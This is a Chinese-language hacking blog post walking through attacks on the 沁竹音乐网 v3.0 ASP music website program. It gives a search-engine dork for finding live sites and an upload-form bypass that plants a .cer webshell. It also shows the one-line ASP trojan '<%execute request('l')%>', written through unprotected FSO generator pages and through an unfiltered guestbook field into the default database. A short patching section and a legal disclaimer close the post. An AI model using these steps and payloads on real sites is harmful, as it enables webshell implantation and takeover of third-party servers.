再现昔日漏洞——沁竹音乐程序的疏忽

By hack520 on

前几天,下载了一套“沁竹音乐网 v3.0 静态生成”版,在测试时,竟然看到了昔日的阳光——动力上传漏洞。    曾几何时,动力上传漏洞摆在我面前,但偶错过了。如今,昔日的漏洞在沁竹音乐程序中重现,岂能再次错过!    一、被疏忽的上传    在百度中以“友情链接 广告合作 阳光祝福 留言我们”为关键字查找使用沁竹音乐程序的网站,还真不少。也许有朋友会说,为什么不去测试沁竹主站呢?这是因为上传漏洞文件“Upfile_Article.asp”存放在网站“Admin/Article”文件夹内,而沁竹主站已更改了管理目录Admin的名称,一时半会也猜不出更改后的名称,所以只好测试其他使用沁竹音乐3.0的网站了。    打开一链接,将网址后的内容替换为“admin/Article/Upload_Article.asp”,如图1所示。则说明存在上传漏洞。如果是显示找不到文件或其他内容,则说明管理员更改了Admin目录名或删了此文件或其他原因,那就要再选一个网址了!

图1
OK!找到一个正常显示的网站后,继续向下进行,在上传页面中,点击右键,选择“查看源文件”,将其另存为“up.txt”,然后修改其中内容,先删除其中的本地限制提交类型JAVA语句,从<SCRIPT 
language=javascript> 一直删到 </SCRIPT> , 再把action=”upfile_article.asp” 修改为action=”WEB网址/admin/Article/upfile_article.asp”,最后就是再复制一份<input name=”FileName” type=”FILE” class=”tx1″ size=”20″>在原语句后,并将复制语句中的FileName改为FileName1,修改后的源文件如图2所示。

图2
接下来把“up.txt”更改为“up.htm”并运行,在第一个上传框内选择一个可上传的JPG文件,在第二个上传框内选择一个没有被限制的Cer文件,如图3所示。(第二个也可选择ASP文件,但要在上传框内的
文件扩展名后加一空格)。

图3
    如果没有其他情况,上传成功后的页面是一个空白页面,接下来在空白页上点右键,选择查看源文件,如图4所示。

图4
   其中显示了Jpg和Cer文件上传后的路径及文件名,如为“../../UploadFiles/*.cer”则该文件路径为WEB/UploadFiles/*.cer;如为“UploadFiles/*.cer”,则文件路径为:“WEB/admin/Article/UploadFiles/*.cer”。偶所关心的是Cer更改后的名字,复制UploadFiles/20058198951327.cer替换音乐网址后的内容,回车执行,如图5所示。成功上传了一个简易ASP程序。

图5    虽然大部分沁竹音乐程序中都存有“Upfile_Article.asp”上传漏洞,但看了一下v2.0版的源码后,才知道,上传文件夹UploadFiles仅在v3.0中是默认存在的。所以,网络中有些v2.0版音乐网站虽然也
反馈上传成功,但因为网站根目录中没有UploadFiles文件夹,也只能空欢喜一场!

二、被疏忽的生成管理    在沁竹音乐程序v3.0中,除了有被疏忽的上传漏洞外,还有一个等级很高的地方,也被疏忽了,那就是v3.0版的FSO文件夹。    该文件夹下的ASP文件对应的是后台“生成管理”中的诸多功能,也就是“沁竹音乐网v3.0”版增加的静态网页生成功能。这其中的很多Asp文件都具有生成另一个新的Asp文件的功能,如“htmlindex.asp”生成网站根目录下的“index.asp”、“htmlchoice.asp”生成“choice.asp”、“htmlflashmovie.asp”生成“flashmovie.asp”、“htmldjlist.asp”生成“djlist.asp”、“htmlflashmtv.asp”生成“flashmtv.asp”等等,恰恰就是这样一些高危ASP文件,却疏忽了限制,只要在地址栏中输入相应的Asp文件就可使用其生成功能,因为生成的是ASP扩展名的文件,当然也就能写入Asp语言了。    如图6所示。在IE地址栏中输入:WEB/fso/htmldjlist.asp ,在打开的生成代码中写入:<%on error resume next%><%execute request(“l”)%> 容错语句加一句话木马,这样点“生成”后,就把这些内容一并写入了djlist.asp页,然后再利用一句话木马客户端连接“WEB/djlist.asp”就可以写入更强大的木马了。

图6
 三、被疏忽的提交字符
    在“留言本”和“点歌台”这两个栏目中,未对写入的字符加以过滤,因而可以写入跨站代码,来进行一些活动。但这还不是最危险的,如果网站使用的是默认数据库名,那么除了使用跨站代码搞一些小动作外,还可以把ASP语句写入数据库,生成一个WEBSHELL。    沁竹音乐程序3.0版默认的数据库为“fdsafdjasfdasfds.asp”,够长吧,相信有些管理员一看到这个名字就放松了警惕性,未做修改拿来就用了(2.0版默认数据库为“qizumin.asp”)。殊不知该ASP格式数据库未做防下载处理,使用默认数据库名称所带来的后果则是很严重地!    下面用“留言本”来演示一下。在“留言本”栏目中点“我要留言”,打开“留言”窗口,其中的“姓名”、“主页”及“QQ”均未做任何过滤,这里我在“主页”中写入一句话ASP木马:“<%execute request(“l”)%>”,其他随便填,如图7所示。再点“发表”,就把ASP木马写入了“fdsafdjasfdasfds.asp”数据库中了。

图7
接着再用偶修改的一句话木马连接客户端来上传一个ASP木马。如图8所示。在“ASP URL”中填入已写入木马语句的ASP文件,然后点“提交”。

图8
如果对方没有修改数据库名称,网页则会自动转到生成的ASP木马页“ WEB/date/jmup.asp”,如图9所示。

图9
四、拒绝疏忽
    对于上面的这些疏忽,可以从下面几个方面来拒绝。    1.对于上传,先更改网站管理目录Admin的名称,或删除UploadFiles文件夹。
接着在Upfile_Article.asp文件的头部加入检查语句:    <% if session(“userna”)=”” then response.redirect “../login.asp” %> // 限制非管理员使用该文件。    还要在Upfile_Article.asp文件中修改限制上传语句。在语句:
for each formName in upload.file //列出所有上传了的文件后加入:EnableUpload=False 这样,EnableUpload的值就不会一成不变了,而是在取得每一个上传文件后,先把EnableUpload赋为 False,再向下运行,这样就弥补了上传的疏忽。2.对于疏忽FSO文件夹中的那些高危ASP文件,可以使用一个简单的防范措施,就是在每个文件的头 部加入检查语句。<% if session(“userna”)=”” then response.redirect “../admin/login.asp” %> 
 但这样只能防止非管理员打开使用这些文件,并不能阻止得到管理员权限的人用它来生成WEBSHELL,所以,最好的方法还是不要生成ASP格式文件,而是生成HTM格式的静态网页。    3.对于提交字符,可以采取长度限制和字符过滤的方式,而对数据库,最好的方法还是要加入防下载处理

,多管齐下,才能拒绝疏忽。声明:本文仅用于技术交流,严禁用于非法途径,否则,后果自负! 

作者:hack520

文章链接:再现昔日漏洞——沁竹音乐程序的疏忽

短连接:https://zhu.vn/?p=406

发表评论